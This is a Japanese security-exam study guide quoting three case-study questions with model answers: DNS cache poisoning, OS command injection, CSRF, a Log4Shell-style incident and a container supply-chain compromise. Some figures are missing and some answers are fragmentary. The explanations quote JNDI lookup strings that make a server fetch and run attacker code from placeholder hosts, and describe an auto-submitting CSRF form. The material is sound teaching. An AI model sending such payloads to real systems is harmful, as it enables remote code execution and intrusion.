J 社は，家電の製造・販売を手掛ける従業員 1,000 名の会社である。J 社では，自社の売れ筋製品であるロボット掃除機の新製品（以下，製品 R という）を開発し，販売することにした。製品 R の仕様を図1に示す。
図1 製品 R の仕様（抜粋）
Web アプリ R を含むファームウェアの開発は，開発部の F さんと G 主任が担当することになった。
〔各機能のセキュリティ対策の検討〕
まず，F さんは，ファームウェアアップデート機能のセキュリティ対策を検討した。ファームウェアアップデート機能が偽のファームウェアをダウンロードしてしまうケースを考えた。そのケースには，DNS キャッシュサーバが権威 DNS サーバに W サーバの名前解決要求を行ったときに，攻撃者が偽装した DNS 応答を送信するという手法を使って攻撃を行うケースがある。この攻撃手法は a と呼ばれる。
この攻撃は，DNS キャッシュサーバが通信プロトコルに b を使って名前解決要求を送信し，かつ，攻撃者が送信した DNS 応答が，当該 DNS キャッシュサーバに到達できることに加えて，①幾つかの条件を満たした場合に成功する。攻撃が成功すると，DNS キャッシュサーバが攻撃者による応答を正当な DNS 応答として処理してしまい，偽の情報が保存される。当該 DNS キャッシュサーバを製品 R が利用して，この攻撃の影響を受けると，攻撃者のサーバから偽のファームウェアをダウンロードしてしまう。しかし，F さんは，②製品 R は，W サーバとの間の通信において HTTPS を適切に実装しているので，この攻撃の影響は受けないと考えた。F さんは，ファームウェアアップデート機能のセキュリティ対策がこれで十分か，G 主任に相談した。次は，この時の G 主任と F さんとの会話である。
G 主任：攻撃者のサーバから偽のファームウェアをダウンロードさせる攻撃は回避できます。しかし，偽のファームウェアをダウンロードしてしまう場合として，ほかにも，攻撃者が W サーバに侵入するなどの方法でファームウェアを直接置き換える場合もあります。対策として，ファームウェアに c を導入しましょう。まず，製品 R では c 証明書が J 社のものであることを検証します。その上で，検証された c 証明書を使って，ダウンロードしたファームウェアの真正性を検証しましょう。
F さん：分かりました。
続いて，F さんは，Web アプリ R の実装について開発部の他の部員にレビューを依頼した。その結果，脆弱性 A と脆弱性 B の二つの脆弱性が指摘された。
〔脆弱性 A〕
IP アドレス設定機能には，任意のコマンドを実行してしまう脆弱性がある。図2に示すように，利用者が IP アドレス設定画面で IP アドレス，サブネットマスク及びデフォルトゲートウェイの IP アドレスをそれぞれ入力してから確認ボタンをクリックし，IP アドレス設定確認画面で確定ボタンをクリックすると，setvalue に対して図3に示すリクエストが送信される。setvalue が図3中のパラメータを含むコマンド文字列をシェルに渡すと，図4の IP アドレス設定を行うコマンドなどが実行される。
図2 IP アドレス設定に用いる画面図3 setvalue に送信されるリクエスト図4 IP アドレス設定を行うコマンド
リクエストに対する setvalue の処理には，d しまうという問題点があるので，setvalue に対して，図5に示す細工されたリクエストが送られると，製品 R は想定外のコマンドを実行してしまう。
図5 細工されたリクエストの例
〔脆弱性 B〕
IP アドレス設定機能には，ログイン済みの利用者が攻撃者によって設置された罠サイトにアクセスし，利用者が意図せずに悪意のあるリクエストを Web アプリ R に送信させられた場合に，Web アプリ R がそのリクエストを受け付けて処理してしまう脆弱性がある。
〔脆弱性の修正〕
次は，二つの脆弱性の指摘を踏まえて修正を検討した時の，F さんと G 主任の会話である。
F さん：脆弱性 A ですが，悪用されるリスクは低いです。というのは，利用者宅内にある製品 R は，インターネットからは直接アクセスできないと想定されるからです。攻撃するには，攻撃者は利用者宅の同一セグメントにつなぎ，不正なログインも成功させる必要があります。修正の優先度を下げてもよいのではないでしょうか。
G 主任：確かに脆弱性 A だけを悪用されるリスクは低いでしょう。しかし，例えば，攻撃者が，Web アプリ R にログイン済みの利用者を罠サイトに誘い，③図6の攻撃リクエストを送信させると，脆弱性 B が悪用され，その後，脆弱性 A が悪用されます。この結果，製品 R は攻撃者のファイルをダウンロードして実行してしまいます。このリスクは低くありません。
図6 攻撃リクエスト
F さん：分かりました。脆弱性 A と脆弱性 B の両方を修正します。
F さんは，脆弱性 A への対策として，利用者からリクエストのパラメータとして受け取った IP アドレス情報を，コマンドを用いず安全に IP アドレスを設定できるライブラリ関数を利用する方法で設定することにした。次に，脆弱性 B については，利用者からのリクエストのパラメータに，セッションにひも付けられ，かつ，e という特徴をもつトークンを付与し，Web アプリ R はそのトークンを検証するように修正した。
F さんと G 主任は，そのほかに必要なテストも行って，Web アプリ R を含むファームウェアの開発を完了した。
通常の DNS の名前解決要求と応答は UDP（ポート 53）で行われる。UDP はコネクションをもたず，送信元アドレスの偽装が容易で，応答を受け取る側が確認できるのは，問合せの宛先・送信元ポート番号・問合せ内容・トランザクション ID などの照合結果だけである。このため，攻撃者は偽装した応答を正規の応答より先に送り込めば，キャッシュサーバに受け入れさせられる可能性がある（RFC 5452 が，偽造された応答への耐性を高める対策としてこの照合項目を整理している）。したがって b には UDP のエが入る。
ア ARP は同一セグメント内で IP アドレスから MAC アドレスを得るプロトコル，イ ICMP は到達確認や通信エラーの通知に使うプロトコルで，どちらも DNS の名前解決要求の通信には使わない。ウ TCP は，3ウェイハンドシェイクで確立したコネクション上のシーケンス番号の照合が必要になり，攻撃者が偽装した応答を割り込ませることが難しくなるので，この攻撃の前提にならない。
本文中の下線①について，攻撃者が送信した DNS 応答が攻撃として成功するために満たすべき条件のうちの一つを，30 字以内で答えよ。
解答例
権威DNSサーバからの応答よりも早く到達する。
解説
本文の根拠
〔各機能のセキュリティ対策の検討〕
攻撃者が送信した DNS 応答が，当該 DNS キャッシュサーバに到達できることに加えて，①幾つかの条件を満たした場合に成功する。
〔各機能のセキュリティ対策の検討〕
DNS キャッシュサーバが権威 DNS サーバに W サーバの名前解決要求を行ったときに，
偽の応答が受け入れられるには，キャッシュサーバが出した問合せと“正しい応答”に見えることが必要である。そのため攻撃者の応答は，正規の権威 DNS サーバからの応答より先にキャッシュサーバに届かなければならない。後から届いた応答は，すでに待ち受け状態が終わっているので破棄される。解答例はこの条件を挙げている。
条件はほかにも，問合せのトランザクション ID（16 ビット）が一致すること，応答の宛先ポート番号が問合せの送信元ポート番号と一致すること，応答の送信元 IP アドレスが問合せの宛先（権威 DNS サーバ）と一致すること，問合せ内容（名前と型）が一致することなどがある（RFC 5452）。設問は“条件のうちの一つ”なので，これらのどれかを書けばよい。
字数制限は 30 字以内で，解答例は 23 字。“早く到達する”だけでは何より早いのかが分からないので，“権威 DNS サーバからの応答よりも”まで書く。ID やポート番号の一致を書く場合も，“問合せの”と照合の相手を明示して簡潔に書く。
設問1(4)40字以内
本文中の下線②について，どのような実装か。40 字以内で答えよ。
解答例
サーバ証明書を検証し，通信相手がWサーバであることを確認する実装
解説
本文の根拠
〔各機能のセキュリティ対策の検討〕
②製品 R は，W サーバとの間の通信において HTTPS を適切に実装している
〔各機能のセキュリティ対策の検討〕
攻撃者のサーバから偽のファームウェアをダウンロードさせる攻撃は回避できます。
DNS キャッシュポイズニングが成功すると，製品 R は W サーバの名前から攻撃者のサーバの IP アドレスを受け取り，そこへ HTTPS で接続しようとする。ところが HTTPS（TLS）では，サーバが提示するサーバ証明書を，信頼する認証局の署名・有効期間・失効状況・記載された名前（HTTP over TLS の場合は接続先のホスト名，RFC 2818 の Server Identity）について検証して初めて，通信相手が本物のサーバだと確認できる。攻撃者は W サーバの正規の証明書と対応する秘密鍵を持たないので，検証に失敗して通信が中止される。G 主任の“攻撃者のサーバから偽のファームウェアをダウンロードさせる攻撃は回避できます”はこの意味である。
つまり“適切な実装”とは，製品 R が W サーバのサーバ証明書を検証し，通信相手が W サーバ（J 社のサーバ）であることを確認する実装である。暗号化しているだけでは，通信相手が攻撃者でも暗号化は成立してしまうので防御にならない。採点講評が“暗号化を行うという解答や，サーバ証明書の確認に触れていない解答が散見された”と指摘しているのはこの点である。
字数制限は 40 字以内で，解答例は 32 字。“サーバ証明書を検証し，通信相手が W サーバであることを確認する”の二つの要素（検証の対象と目的）を残す。
W サーバに侵入されてファームウェアそのものが置き換えられた場合は，通信路が正規でも中身が偽物なので，HTTPS では防げない。ファームウェア自体の真正性（J 社が作成したものであり，改ざんされていないこと）を検証する必要がある。これを実現するのがコードサイニングで，開発元が秘密鍵でファームウェアに電子署名を付け，製品 R がコードサイニング証明書（公開鍵証明書）で署名を検証する。
本文の“製品 R では c 証明書が J 社のものであることを検証します。その上で，検証された c 証明書を使って，ダウンロードしたファームウェアの真正性を検証”は，証明書の持ち主の確認と，その公開鍵による署名の検証という二段構えの流れそのものである。
つまり，setvalue はパラメータの中身を検査もエスケープもせずにシェルへ渡すため，パラメータにシェルのメタ文字を混ぜると，攻撃者が意図したコマンドを不正に指定できてしまう。これが OS コマンドインジェクションである。F さんの対策“コマンドを用いず安全に IP アドレスを設定できるライブラリ関数を利用する”も，コマンド文字列をシェルに渡す経路をなくしている。
本文中の下線③について，罠サイトではどのような仕組みを使って利用者に脆弱性 B を悪用する攻撃リクエストを送信させることができるか。仕組みを 50 字以内で具体的に答えよ。
解答例
攻撃リクエストをPOSTメソッドで送信させるスクリプトを含むページを表示させる仕組み
解説
本文の根拠
〔脆弱性 B〕
ログイン済みの利用者が攻撃者によって設置された罠サイトにアクセスし，利用者が意図せずに悪意のあるリクエストを Web アプリ R に送信させられた場合に，
図1
POST メソッドによる入力だけを受け付ける。
脆弱性 B はクロスサイトリクエストフォージェリ（CSRF）である。Web アプリ R はログイン済みの利用者のブラウザから届いたリクエストを，その利用者が自分の意思で送ったものかどうか確認せずに処理してしまう。攻撃者は罠サイトに細工したページを置き，利用者がそのページを開いたときにブラウザが Web アプリ R へリクエストを送るようにする。
ただし図1より，IP アドレス設定機能は POST メソッドによる入力だけを受け付ける。POST は，リンクや画像の読込みでは送れない。そこで罠サイトは，図6のリクエストと同じパラメータを入力値としてもつ form 要素を用意し，ページの読込み時に JavaScript で自動的に送信（submit）させる。利用者のブラウザはログイン済みの Cookie を付けて Web アプリ R の宛先（製品 R のアドレス）へ POST を送るので，攻撃が成立する。採点講評も“POST メソッドを用いたクロスサイトリクエストフォージェリ攻撃の仕組みとその攻撃を防ぐための対策について理解を深めてほしい”と述べている。
字数制限は 50 字以内で，解答例は 42 字。“攻撃リクエストを POST メソッドで送信させる”“スクリプトを含むページ”“表示させる”の三つを残す。
脆弱性 A 及び脆弱性 B が該当する CWE を，それぞれ解答群の中から選び，記号で答えよ。解答群 ア CWE-78 OS コマンドインジェクション イ CWE-79 クロスサイトスクリプティング ウ CWE-89 SQL インジェクション エ CWE-94 コードインジェクション オ CWE-352 クロスサイトリクエストフォージェリ カ CWE-918 サーバサイドリクエストフォージェリ
〔脆弱性A〕解答例
ア
〔脆弱性B〕解答例
オ
解説
本文の根拠
〔脆弱性 A〕
IP アドレス設定機能には，任意のコマンドを実行してしまう脆弱性がある。
〔脆弱性 B〕
利用者が意図せずに悪意のあるリクエストを Web アプリ R に送信させられた場合に，
脆弱性 A は，設問2のとおり，リクエストのパラメータがシェルに渡るコマンド文字列に混入し，攻撃者が指定した OS のコマンドが実行されるものなので，CWE-78（OS コマンドインジェクション）のアである。脆弱性 B は，設問3のとおり，利用者のブラウザに本人の意図しないリクエストを送らせるもので，CWE-352（クロスサイトリクエストフォージェリ）のオである。
U 社は，従業員 200 名の食品製造業である。情報システム部がシステムを管理している。U 社のネットワーク構成を図1に，サーバの機能概要を表1に示す。
図1 U 社のネットワーク構成（抜粋）表1 サーバの機能概要（抜粋）
FW のフィルタリングルールを表2に示す。
表2 FW のフィルタリングルール
〔セキュリティインシデントの報告と調査〕
ある日，予約サーバで CPU 使用率が高い状態が継続するという問題が発生した。情報システム部の予約サーバの担当者が調査したところ，普段予約サーバでは，BSoftMain と SBMain という T ソフトのプロセスが稼働しているが，この日は run という名称の見慣れないプロセス（以下，run プロセスという）も稼働していた。サーバ内で一定間隔で取得しているプロセスの一覧から，run プロセスが 13:07:00 から CPU 使用率を上げていたことが判明した。
この結果を受け，情報システム部の D 主任はセキュリティインシデントの疑いがあると判断し，上司に報告の上，予約サーバの調査を開始した。
13:07:00 における予約サーバのプロセス一覧とコネクション一覧を表3と表4にそれぞれ示す。
表3 予約サーバのプロセス一覧（抜粋）表4 予約サーバのコネクション一覧（抜粋）
表3と表4から run プロセスの外部への通信の有無を確認したところ，IP アドレスが a のホストに対して通信を行っていたことが確認できた。また，a を確認したところ，海外の IP アドレスであり，予約サーバの通信先として想定されているものではなかった。D 主任は上司に報告し，予約サーバをネットワークから隔離した。
〔予約サーバの調査〕
D 主任は，①表3の内容から，run プロセスが稼働している原因の追究には T ソフトを調べる必要があると判断した。B 社に状況を説明し，不具合やセキュリティ上の問題がないか確認したところ，U 社が利用しているバージョンには，脆弱性があることが分かった。
その脆弱性とは，T ソフトが利用しているライブラリ X というオープンソースのライブラリに存在する，リモートから任意のコードが実行可能となる脆弱性（以下，脆弱性 Y という）である。ライブラリ X と脆弱性 Y の説明を図2に示す。
図2 ライブラリ X と脆弱性 Y の説明図2 ライブラリ X と脆弱性 Y の説明（続き）
run プロセス起動前後の 13:00:00 から 13:16:00 までの，予約サーバのアクセスログを調査した結果，表5に示す，脆弱性 Y を悪用したと考えられるアクセスログを発見した。
表5 脆弱性 Y を悪用したと考えられるアクセスログ
D 主任は run プロセスがどのような経緯で起動したかを調査するために，FW の通信ログを確認した。run プロセス起動前後の 13:00:00 から 13:16:00 までの FW の通信ログのうち，予約サーバを送信元とするものを表6に示す。
表6 予約サーバを送信元とする FW の通信ログ
D 主任はここまでの調査で分かった情報から，予約サーバへの攻撃の流れを表7のとおりまとめた。
表7 予約サーバへの攻撃の流れ
U 社がインシデント対応支援の契約をしているセキュリティベンダーの情報処理安全確保支援士（登録セキスペ）である E 氏の協力を得て run プロセスについての調査を進めた結果，暗号資産採掘ソフトウェアであることが分かった。予約サーバにおいて，予約情報への不正なアクセスは確認できなかった。
〔会員サーバの調査〕
次に，会員サーバにおいて，ライブラリ X の利用の有無及び同様の攻撃の有無を確認したところ，会員サーバにおいてもライブラリ X でログ出力処理を行っていること，及び会員サーバにも予約サーバと同様の攻撃が行われたことを示すアクセスログが記録されていることが分かった。しかし，調査の結果，攻撃は失敗していたことが判明した。D 主任は，攻撃が失敗したのは，攻撃者が会員サーバにログインするための利用者 ID とパスワードを知らなかったからだと考えた。しかし，E 氏は，②脆弱性 Y は認証前のアクセスでも悪用できるので，そうではないと指摘した。予約サーバとは違って攻撃が失敗したのは，③別の理由だと D 主任に説明した。
〔脆弱性への対応〕
D 主任は上司に調査結果を報告した。その後，予約サーバは，OS 及び必要なソフトウェアをクリーンインストールし，バックアップデータから復旧を行った。さらに，予約サーバと会員サーバについて，脆弱性 Y に対する脆弱性修正プログラムを適用した。
プロセス ID 200，親プロセス ID 100，開始時刻 13:06:30，コマンド run，CPU 使用率（省略）。
表4
予約サーバ，a3.b3.c3.d3，HTTP，200。
run プロセスのプロセス ID は，表3から 200 である。表4のコネクション一覧で，プロセス ID が 200 の行は，宛先が a3.b3.c3.d3 の HTTP 通信だけである（110 の行は T ソフトの SBMain プロセスによる，a1.b1.c1.d1 と a2.b2.c2.d2 への HTTPS 通信）。したがって run プロセスが外部への通信を行っていたホストの IP アドレスは a3.b3.c3.d3 である。
本文は続けて，a を確認したところ“海外の IP アドレスであり，予約サーバの通信先として想定されているものではなかった”と述べている。a1，a2 は T ソフトの通常の通信先（SNS 投稿用のサーバなど）で，a3 だけが想定外という流れである。
表から選ぶ設問なので，プロセス ID の列を見て 200 の行を探し，宛先の列の値をそのまま書き写す。HTTPS の行（110）を選ばないよう，プロセス ID と表3の run プロセスを必ず突き合わせる。
設問2(1)40字以内
本文中の下線①について，T ソフトを調べれば分かると判断した理由を，40 字以内で具体的に答えよ。
解答例
runプロセスの親プロセスがTソフトのプロセスであるから
解説
本文の根拠
表3
プロセス ID 100，親プロセス ID（省略），開始時刻 10:11:15，コマンド java BSoftMain
表3
プロセス ID 200，親プロセス ID 100，開始時刻 13:06:30，コマンド run
〔セキュリティインシデントの報告と調査〕
普段予約サーバでは，BSoftMain と SBMain という T ソフトのプロセスが稼働している
表3の run プロセス（プロセス ID 200）の親プロセス ID は 100 で，これはコマンドが java BSoftMain のプロセス，つまり T ソフトの本体である。プロセスは親プロセスが子プロセスを起動することで生まれるので，run プロセスは T ソフトのプロセスから起動されたことになる。したがって，run プロセスが稼働している原因を追究するには，T ソフトを調べる必要がある。
同じ親 100 の子には SBMain（プロセス ID 110）もあり，普段から稼働する T ソフトのプロセスである。見慣れない run だけが T ソフトを親にしているのは，T ソフトの脆弱性などを足掛かりに run が起動された疑いを示す。採点講評も，“プロセスの起動順序を説明した解答が散見された”として，親子関係を調べる必要性を挙げている。起動時刻（13:06:30）が SBMain（13:00:00）の後であることを理由にしても，原因の追究先は決まらない。
字数制限は 40 字以内で，解答例は 28 字。“run プロセスの親プロセスが T ソフトのプロセスである”という事実と，“から”で結ぶ理由の形にそろえる。
ライブラリ X を使用したログ出力処理の対象となる文字列中に特定の攻撃文字列が含まれる場合，攻撃者の用意した Java クラスが実行される可能性がある。
表5
ユーザエージェント ${jndi:ldap://a8.b8.c8.d8/JExp}
〔会員サーバの調査〕
会員サーバにおいてもライブラリ X でログ出力処理を行っていること，
図2のとおり，脆弱性 Y は，ライブラリ X がログ出力処理の対象にする文字列に攻撃文字列が含まれれば成立する。表5のように，攻撃文字列は HTTP リクエストのユーザエージェントに入っており，これがアクセスログとして記録されるときにライブラリ X が処理する。ログイン前の HTTP リクエストでも，Web サーバはリクエストを受け付けてログに書くので，攻撃者が会員サイトの利用者 ID とパスワードを知らなくても，攻撃文字列を送るだけで悪用できる。
したがって D 主任の“攻撃が失敗したのはログインの ID とパスワードを知らなかったからだ”という考えは誤りで，E 氏は認証前でも悪用できると指摘した。会員サーバもライブラリ X でログ出力を行っているので，認証の有無は攻撃の成否に関係しない。採点講評は，この設問の正答率が低かったと述べ，報告されている脆弱性情報から，実際のシステムについて影響を受ける条件を把握し，影響を評価することの重要性を挙げている。
M 社は従業員 100 名のオンラインゲーム事業者である。M 社のゲームは利用者が Web ブラウザからインターネット経由でアクセスして利用する。M 社には開発部及び運用部があり，各従業員には PC が貸与されている。M 社の各 PC 及び各サーバには，固定の IP アドレスが割り当てられており，コンテナエンジンがインストールされている。M 社のネットワーク構成を図1に，機器の概要を表1に示す。
図1 M 社のネットワーク構成（抜粋）表1 M 社の機器の概要（抜粋）表1 M 社の機器の概要（抜粋）（続き）
M 社では，定期的にゲームアプリを更新する。開発部は新たなバージョンのゲームアプリに対して品質テストを行い，品質テストが完了したゲームイメージのタグを運用部に伝達する。運用部は図2に示す更新手順でゲームアプリを更新する。
H さんはゲームサーバ1での更新の際に誤ってタグ a のゲームイメージを取得したことに気付いた。またゲームサーバ1で稼働中のコンテナ内では game.out 及び prog というプロセスが実行中であったが，ゲームサーバ2で稼働中のコンテナ内には prog というプロセスがなかったので，開発部に確認した。その結果，図3に示す内容が判明した。
図3 判明した内容
H さんは，ゲームサーバ1上でコード Z が実行されたと判断し，運用部の K 主任に報告した。次は，その時の H さんと K 主任との会話である。
H さん：prog という名称のファイルはタグ a のゲームイメージに含まれていないのに，どうして prog というプロセスが実行中だったのでしょうか。
K 主任：①攻撃者がコード Z に指示した命令が原因だと考えられます。
H さん：初動対応としては，ゲームサーバ1で，まず，詳細調査に用いる OS のメモリダンプを取り，次に，稼働中のコンテナを終了すればよいでしょうか。
K 主任：コンテナを終了すると，メモリ上のデータに加えて b も消失してしまいます。コンテナは終了するのではなく，一時停止してください。
H さん：分かりました。初動対応でそのほかにすべきことはありますか。
K 主任：過去に，②対策情報が公開される前の脆弱性を悪用した攻撃がコンテナを介して行われ，コンテナエスケープと呼ばれるホストへの侵害が発生した事例があったので，注意してください。それから，ほかのサーバへの被害も調査してください。
H さん：分かりました。
〔各サーバ上での被害の調査〕
H さんが同日の業務用 FW のログを確認したところ，ゲームサーバ1はインターネット上の IP アドレス a3.b3.c3.d3 及びレジストリサーバに対してだけ接続していた。そこで H さんは，同日のレジストリサーバの HTTP 及び HTTPS のアクセスログを確認した。H さんが確認したアクセスログを，表3に示す。
表3 レジストリサーバの HTTP 及び HTTPS のアクセスログ（抜粋）
H さんが調査したところ，項番1及び2は，H さんがゲームイメージを取得した時のもの，項番3は，開発部の従業員がソースコードをソースコードサーバに格納したことによって，自動的にタグ 379 のゲームイメージが生成され，登録された時のものであると特定された。一方，項番4以降については，開発部及び運用部ともに誰も該当する操作を行っていなかったので，K 主任に相談した。次は，その時の K 主任と H さんとの会話である。
K 主任：時刻から考えて，攻撃者に指示された命令によってコード Z が送信したリクエストと考えるとつじつまが合いそうです。攻撃者は当社のネットワーク構成について詳細を知らずに項番4のアクセスをし，③そのレスポンスの内容から，レスポンスを返したホストはコンテナイメージが登録されているサーバだと判断したようです。項番5及び項番6は，レジストリサーバに登録されたコンテナイメージを列挙する API 呼出しを行っています。それ以降のログを見ると，レジストリサーバ上のタグ 341 から 379 までのゲームイメージが上書きされた可能性があります。したがって，ゲームサーバ3及びゲームサーバ4に対して更新を行うべきではありません。
H さん：分かりました。
その後，K 主任は，被害の拡大を防止するために，H さんに④レジストリサーバへの対処を指示した。
〔再発防止及び被害低減のための対策〕
初動対応と原因分析を終えた H さんは，再発防止及び被害低減のための対策を検討することにし，K 主任に相談した。次は，その時の H さんと K 主任との会話である。
H さん：調査では，ゲームサーバ1は攻撃者からの攻撃の指示を IP アドレス c のサーバから受け取っていたことが分かりました。d はマルウェア感染によって攻撃者の制御下となったコンピュータで構成されますが，ゲームサーバ1もそのままにしておくと d に加えられてしまっていたかもしれません。そこで，IP アドレス c への接続を業務用 FW で拒否するのはどうでしょうか。
K 主任：それだけでは，攻撃者が同種の方法で攻撃の指示をしたときに⑤対策として有効でない場合があります。再検討してください。
H さん：分かりました。
K 主任：レジストリサーバについての対策は，どうするつもりですか。
H さん：REST API によるゲームイメージの新規登録及び上書き登録の呼出しについて，呼出し元 IP アドレスを e の IP アドレスからだけに制限するというのはどうでしょう。
prog はゲームイメージに含まれていないのに，コンテナ内で実行されていた。実行ファイルのハッシュ値はマルウェアデータベースに登録されており，マルウェアである。コード Z は“攻撃者が用意した外部のサーバに接続して，指示された任意の命令を実行する”ので，攻撃者はその命令で，prog のファイルを外部のサーバからダウンロードして実行させたと考えられる。
本文は，コンテナエスケープ（コンテナから，それを動かしているホスト OS へ侵害が及ぶこと）が，このような攻撃で発生した事例があると述べている。コンテナはホストの OS カーネルを共有するので，対策が間に合わない脆弱性があると，コンテナ内で任意の命令を実行できた攻撃者がホストに侵入できる可能性がある。H さんの“ほかのサーバへの被害も調査”の指示につながる。
名称を答える設問で，字数制限はない。“ゼロデイ攻撃”と書く。サプライチェーン攻撃は，コード Z が OSS に混入したことを指す名称で，この下線部の説明ではない。
表3の項番4は，ゲームサーバ1から /index.html への GET で，404 Not Found が返っている。この時点では，攻撃者は相手がレジストリサーバとは知らず，内部ネットワークのホストを探っている。その直後の項番5で /v2/_catalog（登録された一覧を取得する API）を呼んでいるので，項番4のレスポンスから，レジストリサーバと判断したと考えられる。
404 のレスポンスの本文や HTTP ヘッダには，Web サーバの種類の違いが現れる。Docker のレジストリ（Docker Registry HTTP API V2）では，/v2/ の応答などに Docker-Distribution-API-Version: registry/2.0 のようなレジストリ固有のヘッダが付く。攻撃者はこの種の，レジストリサーバに固有のレスポンスヘッダを手掛かりにしたと考えられる。（ヘッダ名は一次資料である Docker Registry HTTP API V2 の仕様に基づく例で，本文に具体名の記述はない。）
H さんの案は，指示の送り元である a3.b3.c3.d3 への接続を FW で拒否するもので，ブロックリスト型の対策である。この方法は，攻撃者が指示の送信先に，別の IP アドレスのサーバを使ったときには，ブロックされない。C&C サーバの IP アドレスは攻撃ごとに変えられるので，一つのアドレスを拒否しても，攻撃者が別のアドレスを使えば，同じ攻撃が再び成立する。
表1より，ゲームイメージをレジストリサーバに新規登録するのは，新たなソースコードが格納されるたびにゲームイメージを生成する，ソースコードサーバである。表3の項番3も，ソースコードサーバが PUT で manifests/379 を登録した記録で，“開発部の従業員がソースコードを格納したことによって，自動的にタグ 379 のゲームイメージが生成され，登録された”ものである。したがって，登録・上書き登録の呼出し元は，ソースコードサーバだけに制限すればよい。
運用部のゲームサーバは，更新時にゲームイメージを GET で取得するだけで，登録や上書きの呼出しは行わない。今回の攻撃はゲームサーバ1から PUT が行われたので，呼出し元をソースコードサーバに限れば，ゲームサーバ1からの上書きは拒否される。採点講評は，ソースコードサーバがレジストリサーバにゲームイメージを登録することを見落としている解答が一部に見られたと指摘し，継続的インテグレーションという手法をよく理解しておくよう述べている。
![[ライブラリ X の概要] ライブラリ X は Java のログ出力ライブラリである。ライブラリ X には外部オブジェクトを読み込む機能があり，標準で有効になっている。[脆弱性 Y の概要] ライブラリ X を使用したログ出力処理の対象となる文字列中に特定の攻撃文字列が含まれる場合，攻撃者の用意した Java クラスが実行される可能性がある。[脆弱性 Y において LDAP を利用した攻撃の例] 1. 攻撃者が，攻撃文字列“${jndi:ldap://a4.b4.c4.d4/Exploit}”を含む HTTP リクエストを送る。攻撃対象の Web サーバにおいて，ライブラリ X がログ出力処理をする文字列中に当該攻撃文字列が含まれると，ライブラリ X は IP アドレスが a4.b4.c4.d4 のサーバに対し，LDAP で“Exploit”というクエリを送る。2. 攻撃者の用意した IP アドレスが a4.b4.c4.d4 の LDAP サーバは“Exploit”というクエリを受け，“http://a5.b5.c5.d5/JClass”を取得させるための情報を返す。（図2は次ページに続く）](/data/figures/2022r04a-sc-pm1/q2-f2.png)
